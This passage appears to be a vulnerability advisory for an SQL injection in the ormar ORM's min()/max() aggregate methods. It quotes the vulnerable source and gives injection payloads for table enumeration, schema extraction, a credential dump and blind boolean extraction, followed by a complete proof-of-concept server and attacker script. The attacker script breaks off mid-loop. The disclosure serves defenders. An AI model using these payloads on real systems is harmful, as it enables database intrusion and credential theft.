subsequent version through the latest **0.21.0**.\n\nVersions prior to 0.9.9 do not contain the `min()`/`max()` aggregate feature and are not affected.\n\nThe following uses the latest ormar 0.21.0 as an example to illustrate the attack.\n\n## Vulnerability details\n\nWhen performing an aggregate query, the `QuerySet.max()` method (line 721, `queryset.py`) passes user input to `_query_aggr_function()`. This method creates a `SelectAction` object for each column name. The column string is split by `__` and the last part becomes `self.field_name` \u2014 with no validation against the model\u0027s actual fields.\n\nThe critical vulnerability is in `SelectAction.get_text_clause()` (line 41-43, `select_action.py`), which directly passes `self.field_name` into `sqlalchemy.text()`:\n\n```python\n#select_action.py line 41-43\ndef get_text_clause(self) -\u003e sqlalchemy.sql.expression.TextClause:\n alias = f\"{self.table_prefix}_\" if self.table_prefix else \"\"\n return sqlalchemy.text(f\"{alias}{self.field_name}\") # unsanitised user input!\n```\n\nThe `apply_func()` method then wraps this raw text clause inside `func.max()`, producing SQL like `max(\u003cattacker_input\u003e)`. Since `sqlalchemy.text()` treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.\n\nThe `_query_aggr_function()` method (line 704-719, `queryset.py`) only validates field types for `sum` and `avg`, leaving `min` and `max` completely unprotected:\n\n```python\n#queryset.py line 704-719\nasync def _query_aggr_function(self, func_name: str, columns: List) -\u003e Any:\n func = getattr(sqlalchemy.func, func_name)\n select_actions = [\n SelectAction(select_str=column, model_cls=self.model) for column in columns\n ]\n if func_name in [\"sum\", \"avg\"]: # \u003c-- only sum/avg are checked!\n if any(not x.is_numeric for x in select_actions):\n raise QueryDefinitionError(...)\n select_columns = [x.apply_func(func, use_label=True) for x in select_actions]\n expr = self.build_select_expression().alias(f\"subquery_for_{func_name}\")\n expr = sqlalchemy.select(*select_columns).select_from(expr)\n result = await self.database.fetch_one(expr)\n return dict(result) if len(result) \u003e 1 else result[0]\n```\n\nTo reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.\n\nNote: The PoC consists of two files provided in the attachments \u2014 `poc_server.py` (the vulnerable server) and `poc_attacker.py` (the HTTP-based attacker script).\n\u003ch2\u003eStart the vulnerable application\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eInstall dependencies:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003epip install ormar databases aiosqlite fastapi uvicorn httpx\n\u003c/code\u003e\u003c/pre\u003e\n\u003col\u003e\n\u003cli\u003eThe vulnerable server (\u003ccode\u003epoc_server.py\u003c/code\u003e) is based on the \u003cstrong\u003eofficial ormar FastAPI example\u003c/strong\u003e (\u003ca href=\"https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py\"\u003eormar/examples/fastapi_quick_start.py\u003c/a\u003e). The only modification is the addition of a \u003ccode\u003e/items/stats\u003c/code\u003e endpoint \u2014 a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThe server defines three models:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eCategory\u003c/code\u003e and \u003ccode\u003eItem\u003c/code\u003e \u2014 from the official ormar example (unchanged)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eAdminUser\u003c/code\u003e \u2014 simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe vulnerable endpoint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# Added endpoint: aggregate statistics (VULNERABLE)\n# This is a common and natural pattern \u2014 letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\u0026quot;year\u0026quot;])\n# See: \u0026lt;https://collerek.github.io/ormar/queries/aggregations/\u0026gt;\n\n@app.get(\u0026quot;/items/stats\u0026quot;)\nasync def item_stats(\n metric: str = Query(\u0026quot;max\u0026quot;, description=\u0026quot;max or min\u0026quot;),\n column: str = Query(\u0026quot;price\u0026quot;, description=\u0026quot;Column to aggregate\u0026quot;),\n):\n \u0026quot;\u0026quot;\u0026quot;Return aggregate statistics for items.\u0026quot;\u0026quot;\u0026quot;\n if metric == \u0026quot;max\u0026quot;:\n result = await Item.objects.max(column)\n elif metric == \u0026quot;min\u0026quot;:\n result = await Item.objects.min(column)\n else:\n return {\u0026quot;error\u0026quot;: \u0026quot;Unsupported metric\u0026quot;}\n return {\u0026quot;metric\u0026quot;: metric, \u0026quot;column\u0026quot;: column, \u0026quot;result\u0026quot;: result}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe database contains:\u003c/p\u003e\n\nTable | Data\n-- | --\ncategories | Electronics\nitems | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99)\nadmin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod\n\u00a0 | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci\n\n\n\u003cp\u003eThe \u003ccode\u003eadmin_users\u003c/code\u003e table is \u003cstrong\u003eNOT\u003c/strong\u003e exposed via any API endpoint.\u003c/p\u003e\n\u003ch2\u003eThe attack steps\u003c/h2\u003e\n\u003cp\u003eThe PoC requires two terminals:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eTerminal 1\u003c/strong\u003e \u2014 Start the vulnerable server:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003epython poc_server.py\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003cstrong\u003eTerminal 2\u003c/strong\u003e \u2014 Run the attacker script:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003epython poc_attacker.py\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe attacker script (\u003ccode\u003epoc_attacker.py\u003c/code\u003e) sends HTTP requests to the running server. It has \u003cstrong\u003eNO prior knowledge\u003c/strong\u003e of the database schema \u2014 all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single \u003ccode\u003e/items/stats\u003c/code\u003e endpoint.\u003c/p\u003e\n\u003ch2\u003ePrinciple of vulnerability exploitation\u003c/h2\u003e\n\u003ch3\u003e1. The attacker confirms injection by sending an arithmetic expression\u003c/h3\u003e\n\u003cp\u003eThe attacker sends \u003ccode\u003eGET /items/stats?metric=max\u0026amp;column=1+1\u003c/code\u003e. The data flow is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP request: GET /items/stats?metric=max\u0026amp;column=1+1\n \u2193\nitem_stats(metric=\u0026quot;max\u0026quot;, column=\u0026quot;1+1\u0026quot;) # poc_server.py\n \u2193\nItem.objects.max(\u0026quot;1+1\u0026quot;) # queryset.py:721\n \u2193\n_query_aggr_function(func_name=\u0026quot;max\u0026quot;, columns=[\u0026quot;1+1\u0026quot;]) # queryset.py:704\n \u2193\nSelectAction(select_str=\u0026quot;1+1\u0026quot;, model_cls=Item) # select_action.py:22\n \u2193\n_split_value_into_parts(\u0026quot;1+1\u0026quot;) \u2192 self.field_name = \u0026quot;1+1\u0026quot;\n \u2193\n# min/max skip the is_numeric check (line 709 only checks sum/avg)\n \u2193\nget_text_clause() \u2192 sqlalchemy.text(\u0026quot;1+1\u0026quot;) # select_action.py:43\n \u2193\napply_func(sqlalchemy.func.max) \u2192 max(1+1)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eGenerated SQL:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-sql\"\u003eSELECT max(1+1) AS \u0026quot;1+1\u0026quot;\nFROM (SELECT items.id AS id, items.name AS name, items.price AS price,\n items.category AS category\n FROM items) AS subquery_for_max\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe API returns \u003ccode\u003e{\u0026quot;metric\u0026quot;:\u0026quot;max\u0026quot;,\u0026quot;column\u0026quot;:\u0026quot;1+1\u0026quot;,\u0026quot;result\u0026quot;:2}\u003c/code\u003e, confirming that the arithmetic expression was evaluated as SQL.\u003c/p\u003e\n\u003ch3\u003e2. The attacker enumerates database tables\u003c/h3\u003e\n\u003cp\u003eThe attacker injects a subquery to read \u003ccode\u003esqlite_master\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eGET /items/stats?metric=max\u0026amp;column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich internally calls:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eawait Item.objects.max(\n \u0026quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\u0026quot;\n)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eGenerated SQL:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-sql\"\u003eSELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027))\n AS \u0026quot;(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\u0026quot;\nFROM (SELECT items.id, items.name, items.price, items.category\n FROM items) AS subquery_for_max\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe API returns \u003ccode\u003ecategories,admin_users,items\u003c/code\u003e, revealing the hidden \u003ccode\u003eadmin_users\u003c/code\u003e table.\u003c/p\u003e\n\u003ch3\u003e3. The attacker extracts the schema of the target table\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eGET /items/stats?metric=max\u0026amp;column=(SELECT sql FROM sqlite_master WHERE name=\u0027admin_users\u0027)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe API returns the full \u003ccode\u003eCREATE TABLE\u003c/code\u003e statement, revealing column names: \u003ccode\u003eusername\u003c/code\u003e, \u003ccode\u003epassword\u003c/code\u003e, \u003ccode\u003eapi_key\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003e4. The attacker dumps all credentials in a single query\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eGET /items/stats?metric=max\u0026amp;column=(SELECT GROUP_CONCAT(username || \u0027 | \u0027 || password || \u0027 | \u0027 || api_key, CHAR(10)) FROM admin_users)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eGenerated SQL:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-sql\"\u003eSELECT max((SELECT GROUP_CONCAT(username || \u0027 | \u0027 || password || \u0027 | \u0027 || api_key, CHAR(10))\n FROM admin_users))\n AS \u0026quot;...\u0026quot;\nFROM (SELECT items.id, items.name, items.price, items.category\n FROM items) AS subquery_for_max\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe API returns all credentials:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eroot | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod\ndeploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e5. Blind boolean-based extraction (when results are not directly visible)\u003c/h3\u003e\n\u003cp\u003eEven if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eGET /items/stats?metric=max\u0026amp;column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username=\u0027root\u0027),1,1))\u0026gt;83 THEN 1 ELSE 0 END\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich internally calls:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e# \u0026quot;Is the Nth character of root\u0027s password greater than ASCII code M?\u0026quot;\nawait Item.objects.max(\n \u0026quot;CASE WHEN UNICODE(SUBSTR(\u0026quot;\n \u0026quot;(SELECT password FROM admin_users WHERE username=\u0027root\u0027),1,1))\u0026gt;83 \u0026quot;\n \u0026quot;THEN 1 ELSE 0 END\u0026quot;\n)\n# Returns 0 \u2192 first character is \u0027S\u0027 (ASCII 83)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eBy iterating over each position with binary search, the full password \u003ccode\u003eSup3r$ecretP@ss!\u003c/code\u003e is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).\u003c/p\u003e\n\u003ch3\u003e6. The attacker extracts the production API key\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eGET /items/stats?metric=max\u0026amp;column=(SELECT api_key FROM admin_users WHERE username=\u0027root\u0027)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe API returns: \u003ccode\u003eak-9f8e7d6c5b4a3210-prod\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eAll data was extracted through a single public API endpoint using only unauthenticated GET requests.\u003c/p\u003e\n\u003c!-- notionvc: b3e8123b-0876-4c76-94f6-2281c6cbb3f0 --\u003e## Start the vulnerable application\n\n1. Install dependencies:\n\n```bash\npip install ormar databases aiosqlite fastapi uvicorn httpx\n```\n\n1. The vulnerable server (`poc_server.py`) is based on the **official ormar FastAPI example** ([[ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a `/items/stats` endpoint \u2014 a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.\n\nThe server defines three models:\n\n- `Category` and `Item` \u2014 from the official ormar example (unchanged)\n- `AdminUser` \u2014 simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API\n\nThe vulnerable endpoint:\n\n```python\n# Added endpoint: aggregate statistics (VULNERABLE)\n# This is a common and natural pattern \u2014 letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\"year\"])\n# See: \u003chttps://collerek.github.io/ormar/queries/aggregations/\u003e\n\n@app.get(\"/items/stats\")\nasync def item_stats(\n metric: str = Query(\"max\", description=\"max or min\"),\n column: str = Query(\"price\", description=\"Column to aggregate\"),\n):\n \"\"\"Return aggregate statistics for items.\"\"\"\n if metric == \"max\":\n result = await Item.objects.max(column)\n elif metric == \"min\":\n result = await Item.objects.min(column)\n else:\n return {\"error\": \"Unsupported metric\"}\n return {\"metric\": metric, \"column\": column, \"result\": result}\n```\n\nThe database contains:\n\n| Table | Data |\n| --- | --- |\n| `categories` | Electronics |\n| `items` | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |\n| `admin_users` | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |\n| | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |\n\nThe `admin_users` table is **NOT** exposed via any API endpoint.\n\n## The attack steps\n\nThe PoC requires two terminals:\n\n**Terminal 1** \u2014 Start the vulnerable server:\n\n```bash\npython poc_server.py\n```\n\n**Terminal 2** \u2014 Run the attacker script:\n\n```bash\npython poc_attacker.py\n```\n\nThe attacker script (`poc_attacker.py`) sends HTTP requests to the running server. It has **NO prior knowledge** of the database schema \u2014 all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single `/items/stats` endpoint.\n\n## Principle of vulnerability exploitation\n\n### 1. The attacker confirms injection by sending an arithmetic expression\n\nThe attacker sends `GET /items/stats?metric=max\u0026column=1+1`. The data flow is:\n\n```\nHTTP request: GET /items/stats?metric=max\u0026column=1+1\n \u2193\nitem_stats(metric=\"max\", column=\"1+1\") # poc_server.py\n \u2193\nItem.objects.max(\"1+1\") # queryset.py:721\n \u2193\n_query_aggr_function(func_name=\"max\", columns=[\"1+1\"]) # queryset.py:704\n \u2193\nSelectAction(select_str=\"1+1\", model_cls=Item) # select_action.py:22\n \u2193\n_split_value_into_parts(\"1+1\") \u2192 self.field_name = \"1+1\"\n \u2193\n# min/max skip the is_numeric check (line 709 only checks sum/avg)\n \u2193\nget_text_clause() \u2192 sqlalchemy.text(\"1+1\") # select_action.py:43\n \u2193\napply_func(sqlalchemy.func.max) \u2192 max(1+1)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max(1+1) AS \"1+1\"\nFROM (SELECT items.id AS id, items.name AS name, items.price AS price,\n items.category AS category\n FROM items) AS subquery_for_max\n```\n\nThe API returns `{\"metric\":\"max\",\"column\":\"1+1\",\"result\":2}`, confirming that the arithmetic expression was evaluated as SQL.\n\n### 2. The attacker enumerates database tables\n\nThe attacker injects a subquery to read `sqlite_master`:\n\n```\nGET /items/stats?metric=max\u0026column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\n```\n\nWhich internally calls:\n\n```python\nawait Item.objects.max(\n \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\"\n)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027))\n AS \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\"\nFROM (SELECT items.id, items.name, items.price, items.category\n FROM items) AS subquery_for_max\n```\n\nThe API returns `categories,admin_users,items`, revealing the hidden `admin_users` table.\n\n### 3. The attacker extracts the schema of the target table\n\n```\nGET /items/stats?metric=max\u0026column=(SELECT sql FROM sqlite_master WHERE name=\u0027admin_users\u0027)\n```\n\nThe API returns the full `CREATE TABLE` statement, revealing column names: `username`, `password`, `api_key`.\n\n### 4. The attacker dumps all credentials in a single query\n\n```\nGET /items/stats?metric=max\u0026column=(SELECT GROUP_CONCAT(username || \u0027 | \u0027 || password || \u0027 | \u0027 || api_key, CHAR(10)) FROM admin_users)\n```\n\nGenerated SQL:\n\n```sql\nSELECT max((SELECT GROUP_CONCAT(username || \u0027 | \u0027 || password || \u0027 | \u0027 || api_key, CHAR(10))\n FROM admin_users))\n AS \"...\"\nFROM (SELECT items.id, items.name, items.price, items.category\n FROM items) AS subquery_for_max\n```\n\nThe API returns all credentials:\n\n```\nroot | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod\ndeploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci\n```\n\n### 5. Blind boolean-based extraction (when results are not directly visible)\n\nEven if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:\n\n```\nGET /items/stats?metric=max\u0026column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username=\u0027root\u0027),1,1))\u003e83 THEN 1 ELSE 0 END\n```\n\nWhich internally calls:\n\n```python\n# \"Is the Nth character of root\u0027s password greater than ASCII code M?\"\nawait Item.objects.max(\n \"CASE WHEN UNICODE(SUBSTR(\"\n \"(SELECT password FROM admin_users WHERE username=\u0027root\u0027),1,1))\u003e83 \"\n \"THEN 1 ELSE 0 END\"\n)\n# Returns 0 \u2192 first character is \u0027S\u0027 (ASCII 83)\n```\n\nBy iterating over each position with binary search, the full password `Sup3r$ecretP@ss!` is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).\n\n### 6. The attacker extracts the production API key\n\n```\nGET /items/stats?metric=max\u0026column=(SELECT api_key FROM admin_users WHERE username=\u0027root\u0027)\n```\n\nThe API returns: `ak-9f8e7d6c5b4a3210-prod`\n\nAll data was extracted through a single public API endpoint using only unauthenticated GET requests.\n## The complete POC\n\n### poc_server.py (Vulnerable Server)\n\nBased on the official ormar FastAPI example ([[fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):\n\n```python\n\"\"\"\nCVE PoC \u2014 Vulnerable Server\n=============================\nBased on the OFFICIAL ormar FastAPI example:\n \u003chttps://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py\u003e\n\nThe only modification is the addition of a /items/stats endpoint (line 63-76),\nwhich is a common pattern for any application that provides aggregate statistics.\n\nUsage:\n python poc_server.py\n\"\"\"\n\n# \u2500\u2500 Original official example code (unchanged) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Source: ormar/examples/fastapi_quick_start.py\n\nfrom contextlib import asynccontextmanager\nfrom typing import List, Optional\n\nimport databases\nimport ormar\nimport sqlalchemy\nimport uvicorn\nfrom fastapi import FastAPI, Query\n\nDATABASE_URL = \"sqlite:///poc_vuln.db\"\n\normar_base_config = ormar.OrmarConfig(\n database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()\n)\n\nclass Category(ormar.Model):\n ormar_config = ormar_base_config.copy(tablename=\"categories\")\n\n id: int = ormar.Integer(primary_key=True)\n name: str = ormar.String(max_length=100)\n\nclass Item(ormar.Model):\n ormar_config = ormar_base_config.copy(tablename=\"items\")\n\n id: int = ormar.Integer(primary_key=True)\n name: str = ormar.String(max_length=100)\n price: float = ormar.Float(default=0)\n category: Optional[Category] = ormar.ForeignKey(Category, nullable=True)\n\n# This table simulates internal data that should NOT be accessible\n# through the public API \u2014 e.g. an admin_users table in the same database.\nclass AdminUser(ormar.Model):\n ormar_config = ormar_base_config.copy(tablename=\"admin_users\")\n\n id: int = ormar.Integer(primary_key=True)\n username: str = ormar.String(max_length=100)\n password: str = ormar.String(max_length=200)\n api_key: str = ormar.String(max_length=200)\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n database_ = ormar_base_config.database\n if not database_.is_connected:\n await database_.connect()\n\n # Create tables\n engine = sqlalchemy.create_engine(DATABASE_URL)\n ormar_base_config.metadata.create_all(engine)\n engine.dispose()\n\n # Seed sample data\n if not await Item.objects.count():\n cat = await Category.objects.create(name=\"Electronics\")\n await Item.objects.create(name=\"Laptop\", price=999.99, category=cat)\n await Item.objects.create(name=\"Phone\", price=699.99, category=cat)\n await Item.objects.create(name=\"Tablet\", price=449.99, category=cat)\n await Item.objects.create(name=\"Monitor\", price=329.99, category=cat)\n\n if not await AdminUser.objects.count():\n await AdminUser.objects.create(\n username=\"root\",\n password=\"Sup3r$ecretP@ss!\",\n api_key=\"ak-9f8e7d6c5b4a3210-prod\",\n )\n await AdminUser.objects.create(\n username=\"deploy-bot\",\n password=\"ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi\",\n api_key=\"ak-1a2b3c4d5e6f7890-ci\",\n )\n\n print(\"\\\\n [Server] Ready. Database seeded with items + admin_users.\")\n print(\" [Server] The admin_users table is NOT exposed via any API endpoint.\\\\n\")\n\n yield\n\n if database_.is_connected:\n await database_.disconnect()\n\napp = FastAPI(\n title=\"Item Catalog API\",\n description=\"Based on official ormar FastAPI example\",\n lifespan=lifespan,\n)\n\n# \u2500\u2500 Original endpoints from official example (unchanged) \u2500\u2500\u2500\u2500\u2500\u2500\n\n@app.get(\"/items/\", response_model=List[Item])\nasync def get_items():\n items = await Item.objects.select_related(\"category\").all()\n return items\n\n@app.post(\"/items/\", response_model=Item)\nasync def create_item(item: Item):\n await item.save()\n return item\n\n@app.post(\"/categories/\", response_model=Category)\nasync def create_category(category: Category):\n await category.save()\n return category\n\n@app.put(\"/items/{item_id}\")\nasync def get_item(item_id: int, item: Item):\n item_db = await Item.objects.get(pk=item_id)\n return await item_db.update(**item.model_dump())\n\n@app.delete(\"/items/{item_id}\")\nasync def delete_item(item_id: int, item: Item = None):\n if item:\n return {\"deleted_rows\": await item.delete()}\n item_db = await Item.objects.get(pk=item_id)\n return {\"deleted_rows\": await item_db.delete()}\n\n# \u2500\u2500 Added endpoint: aggregate statistics (VULNERABLE) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# This is a common and natural pattern \u2014 letting users request\n# statistics on different columns. The ormar documentation itself\n# shows: await Book.objects.max(columns=[\"year\"])\n# See: \u003chttps://collerek.github.io/ormar/queries/aggregations/\u003e\n\n@app.get(\"/items/stats\")\nasync def item_stats(\n metric: str = Query(\"max\", description=\"max or min\"),\n column: str = Query(\"price\", description=\"Column to aggregate\"),\n):\n \"\"\"Return aggregate statistics for items.\"\"\"\n if metric == \"max\":\n result = await Item.objects.max(column)\n elif metric == \"min\":\n result = await Item.objects.min(column)\n else:\n return {\"error\": \"Unsupported metric\"}\n return {\"metric\": metric, \"column\": column, \"result\": result}\n\n@app.get(\"/health\")\nasync def health():\n return {\"status\": \"ok\"}\n\n# \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nif __name__ == \"__main__\":\n import os\n # Clean previous database for reproducibility\n if os.path.exists(\"poc_vuln.db\"):\n os.unlink(\"poc_vuln.db\")\n print(\"=\" * 60)\n print(\" CVE PoC \u2014 Vulnerable Server\")\n print(\" Based on: ormar/examples/fastapi_quick_start.py\")\n print(\" Added: GET /items/stats?metric=max\u0026column=\u003cinput\u003e\")\n print(\" Docs: \u003chttp://127.0.0.1:8000/docs\u003e\")\n print(\"=\" * 60)\n uvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\n```\n\n### poc_attacker.py (Attacker Script)\n\n```python\n\"\"\"\nCVE PoC \u2014 Attacker Script\n===========================\nExploits the SQL injection in /items/stats endpoint.\nSends HTTP requests to the running FastAPI server.\n\nPrerequisites:\n 1. Start the server first: python poc_server.py\n 2. Then run this script: python poc_attacker.py\n\nThe attacker has NO prior knowledge of the database schema.\nAll information is discovered through the injection.\n\"\"\"\n\nimport sys\nimport httpx\n\nTARGET = \"\u003chttp://127.0.0.1:8000\u003e\"\nENDPOINT = \"/items/stats\"\n\ndef inject(payload: str) -\u003e str:\n \"\"\"Send a single injection payload via the public API.\"\"\"\n resp = httpx.get(TARGET + ENDPOINT, params={\"metric\": \"max\", \"column\": payload})\n data = resp.json()\n return data.get(\"result\")\n\ndef main():\n # \u2500\u2500 Pre-check \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n try:\n r = httpx.get(TARGET + \"/health\", timeout=3)\n if r.status_code != 200:\n sys.exit(1)\n except httpx.ConnectError:\n print(f\"Cannot connect to {TARGET}\")\n print(f\"Start the server first: python poc_server.py\")\n sys.exit(1)\n\n # \u2500\u2500 Stage 0: Legitimate request \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n result = inject(\"price\")\n print(f\"[Stage 0] Normal usage: max(price) = {result}\")\n\n # \u2500\u2500 Stage 1: Confirm injection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n result = inject(\"1+1\")\n print(f\"[Stage 1] max(\u00271+1\u0027) = {result}\")\n if result == 2:\n print(\" \u2192 SQL INJECTION CONFIRMED\")\n\n # \u2500\u2500 Stage 2: Enumerate tables \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n payload = \"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type=\u0027table\u0027)\"\n result = inject(payload)\n tables = str(result).split(\",\") if result else []\n print(f\"[Stage 2] Tables: {result}\")\n\n # \u2500\u2500 Stage 3: Extract schema \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n target_table = [t for t in tables if \"admin\" in t.lower()]\n target_table = target_table[0] if target_table else tables[-1]\n payload = f\"(SELECT sql FROM sqlite_master WHERE name=\u0027{target_table}\u0027)\"\n result = inject(payload)\n print(f\"[Stage 3] Schema of {target_table}: {result}\")\n\n # \u2500\u2500 Stage 4: Dump all credentials \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n payload = (\n f\"(SELECT GROUP_CONCAT(\"\n f\"username || \u0027 | \u0027 || password || \u0027 | \u0027 || api_key, CHAR(10))\"\n f\" FROM {target_table})\"\n )\n result = inject(payload)\n print(f\"[Stage 4] Credentials:\\\\n{result}\")\n\n # \u2500\u2500 Stage 5: Blind extraction \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n payload = f\"LENGTH((SELECT password FROM {target_table} WHERE username=\u0027root\u0027))\"\n pw_len = int(inject(payload))\n extracted = \"\"\n request_count = 0\n for pos in range(1, pw_len + 1):\n low, high = 32, 126\n while low 